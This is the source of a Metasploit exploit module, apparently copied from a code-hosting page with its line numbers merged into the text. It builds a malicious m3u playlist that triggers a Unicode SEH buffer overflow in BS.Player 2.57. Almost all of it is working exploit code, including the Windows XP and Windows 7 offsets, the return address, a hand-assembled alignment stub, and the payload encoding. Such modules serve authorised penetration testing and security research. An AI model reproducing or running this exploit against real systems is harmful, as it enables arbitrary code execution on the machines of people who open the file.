Path: blob/master/modules/exploits/windows/fileformat/bsplayer_m3u.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::FILEFORMAT9include Msf::Exploit::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'BS.Player 2.57 Buffer Overflow (Unicode SEH)',16'Description' => %q{17This module exploits a buffer overflow in BS.Player 2.57. When18the playlist import is used to import a specially crafted m3u file,19a buffer overflow occurs allowing arbitrary code execution.20},21'License' => MSF_LICENSE,22'Author' => [23'C4SS!0 G0M3S ', # Original Exploit24'Chris Gabriel', # MSF Module25# Greets: Corelan team for mona.py & awesome tutorials26],27'References' => [28[ 'OSVDB', '82528' ],29[ 'EDB', '15934' ]30],31'DefaultOptions' => {32'EXITFUNC' => 'process',33# 'InitialAutoRunScript' => 'migrate -f',34},35'Platform' => 'win',36'Payload' => {37'Space' => 2000,38'BadChars' => "\x00\x0a\x0d\x1a\x80",39'DisableNops' => true,40'StackAdjustment' => -3500,41},4243'Targets' => [44[45'Windows XP',46{47# pop ecx # pop ebp # ret 0c48# ASLR: False, Rebase: False, SafeSEH: False49# v2.5.7.1051 (bsplayer.exe)50'Ret' => "\x2f\x49",51'Offset' => 4102,52'Padding' => 187953}54],55[56'Windows 7',57{58# pop ecx # pop ebp # ret 0c59# ASLR: False, Rebase: False, SafeSEH: False60# v2.5.7.1051 (bsplayer.exe)61'Ret' => "\x2f\x49",62'Offset' => 4102,63'Padding' => 193164}65],66],67'Privileged' => false,68'DisclosureDate' => '2010-01-07',69'DefaultTarget' => 0,70'Notes' => {71'Reliability' => UNKNOWN_RELIABILITY,72'Stability' => UNKNOWN_STABILITY,73'SideEffects' => UNKNOWN_SIDE_EFFECTS74}75)76)7778register_options(79[80OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),81]82)83end8485def exploit86nseh = "\x61\x42"8788align = ''89align << "\x58" # POP EAX90align << "\x6d" # PAD91align << "\x58" # POP EAX92align << "\x6d" # PAD93align << "\x58" # POP EAX94align << "\x6d" # PAD95align << "\x58" # POP EAX96align << "\x6d" # PAD97align << "\x58" # POP EAX98align << "\x6d" # PAD99align << "\x58" # POP EAX100align << "\x6d" # PAD101align << "\x58" # POP EAX102align << "\x6d" # PAD103align << "\x58" # POP EAX104align << "\x6d" # PAD105align << "\x58" # POP EAX106align << "\x6d" # PAD107align << "\x58" # POP EAX108align << "\x6d" # PAD109align << "\x58" # POP EAX110align << "\x6d" # PAD111align << "\x58" # POP EAX112align << "\x6d" # PAD113align << "\x58" # POP EAX114align << "\x6d" # PAD115align << "\x50" # PUSH EAX116align << "\x6d" # PAD117align << "\xc3" # RET118119enc = framework.encoders.create('x86/unicode_mixed')120register_to_align_to = "EAX"121enc.datastore.import_options_from_hash({ 'BufferRegister' => register_to_align_to })122unicodepayload = enc.encode(payload.encoded, nil, nil, platform)123124padding = rand_text_alpha_lower(target['Padding'])125126buffer = "http://"127buffer << rand_text_alpha_lower(target['Offset'])128buffer << nseh129buffer << target['Ret']130buffer << align131buffer << padding132buffer << unicodepayload133134file_create(buffer)135end136end137138139